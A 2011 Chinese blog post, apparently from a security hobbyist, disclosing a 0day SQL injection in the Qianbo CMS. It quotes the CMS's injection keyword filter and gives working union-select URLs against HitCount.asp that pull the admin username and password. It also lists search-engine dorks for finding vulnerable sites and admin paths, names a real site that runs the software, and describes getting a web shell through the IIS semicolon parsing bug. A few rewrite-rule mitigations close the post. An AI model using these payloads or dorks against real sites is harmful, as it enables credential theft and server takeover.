注册 登录  
 加关注
查看详情
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

小猪太子--网易博客

关注网络安全,低调求发展。

 
 
 

日志

 
 
关于我

看起来没什么新鲜的,其貌不扬,个头一般,没獠牙,呼吸空气,肋下没逆鳞,吃的是碳水化合物,看构造变形的可能性也不大,人畜无害的家伙。

三茗网络智能三代建站0DAY  

2011-09-23 17:21:17|  分类: 漏洞播报 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
我一直用三茗网络http://www.dg1.cn的建站程序,总体来说服务和建站,在东莞当地是相当不错的一个网络公司了。自己的站嘛,当然也看看安全啦。
不锈钢http://www.dgjunyue.com 这个的站。我们来分析下吧。建站是千博CMS,我特地下载了一个千博CMS的源码,然后分析了下。
程序都加入了防注入代码的,在NoSql.asp文件中7kccopyd-code
 
<%
If EnableStopInjection = True Then
    Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr
    Fy_In = "’|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
    Fy_Inf = Split(Fy_In, "|")
    If Request.Form<>"" Then
        For Each Fy_Post In Request.Form
            For Fy_Xh = 0 To UBound(Fy_Inf)
                If InStr(LCase(Request.Form(Fy_Post)), Fy_Inf(Fy_Xh))<>0 Then
                    Response.Write "<Script Language=JavaScript>alert(’警告:参数非法!’);</Script>"
                    Response.End
                End If
            Next
        Next
    End If
 
    If Request.QueryString<>"" Then
        For Each Fy_Get In Request.QueryString
            For Fy_Xh = 0 To UBound(Fy_Inf)
                If InStr(LCase(Request.QueryString(Fy_Get)), Fy_Inf(Fy_Xh))<>0 Then
                    Response.Write "<Script Language=JavaScript>alert(’警告:参数非法!’);</Script>"
                    Response.End
                    Response.End
                End If
            Next
        Next
    End If
End If
%>
 
 
没有过滤cookie,不过程序在对变量传入时都限制了整型的,所以我也没办法。
 
继续看。
 
MemberLogin.asp这个文件
 
 
Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, sql
LoginName = Trim(request.Form("LoginName"))
LoginPassword = Md5(request.Form("LoginPassword"))
Set rs = server.CreateObject("adodb.recordset")
sql = "select * from Qianbo_Members where MemName=’"&LoginName&"’"
 
 
没有加入防注入代码,不过却是登录验证页面,如果是MSsql数据库我们还好办点。
 
这个时候,在HitCount.asp这个文件里发现,文件没有调用防注入代码
 
<%
Dim rs, m_SQL
Dim m_ID
m_ID = ReplaceBadChar(Request.QueryString("id"))
m_LX = ReplaceBadChar(Request.QueryString("LX"))
action = ReplaceBadChar(Request.QueryString("action"))
If action = "count" Then
    conn.Execute("update "&m_LX&" set ClickNumber = ClickNumber + 1 where ID=" & m_ID & "")
Else
    m_SQL = "select ClickNumber from "&m_LX&" where ID=" & m_ID
    Set rs = conn.Execute(m_SQL)
    response.Write "document.write("&rs(0)&");"
    rs.Close
    Set rs = Nothing
End If
%>
 
 
就是这个文件了。我们来构造注入语句
如下:
http://127.0.0.1/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20password%20from%20qianbo_admin   获取管理密码
 
http://127.0.0.1/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20adminname%20from%20qianbo_admin
    获取管理帐号
 
关键字:
inurl:Search.asp?Range=Product&Keyword=
inurl:ProductBuy.asp?ProductNo=

后台:
/system
/admin

SHELL
IISasp;分号解析漏洞还是害了不少人,千博企业网站管理系统.后台拿SHELL依旧是修改模板*.asp;*生成
 
解决方法还是老规,如果没有装过滤*.asp;*安全规则,那么就用ISAPI_Rewrite
 
[code]
RewriteRule ^/httpd(?:\.ini|\.parse\.errors).* [F,I,O]
RewriteRule .*\.mdb /block.gif [I,O]
RewriteRule .*\.asa /block.gif [I,O]
 
RewriteRule (.*)\.asp/(.*) /block.gif [I]
RewriteRule (.*)\.(.{3});(.*) /block.gif [I]
 
剩下的不多说了,话说这个后台源码价值50多万,不简单哦。哈哈。
漏洞补救:1.hitcount.asp文件修改下
             2.后台密码设置变态点,哈哈
             3.在系统设置里自己设置那个验证密码开启
其他的你们自己想吧,记住我的博客哈http://t00ls.blog.163.com/
  评论这张
 
阅读(686)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018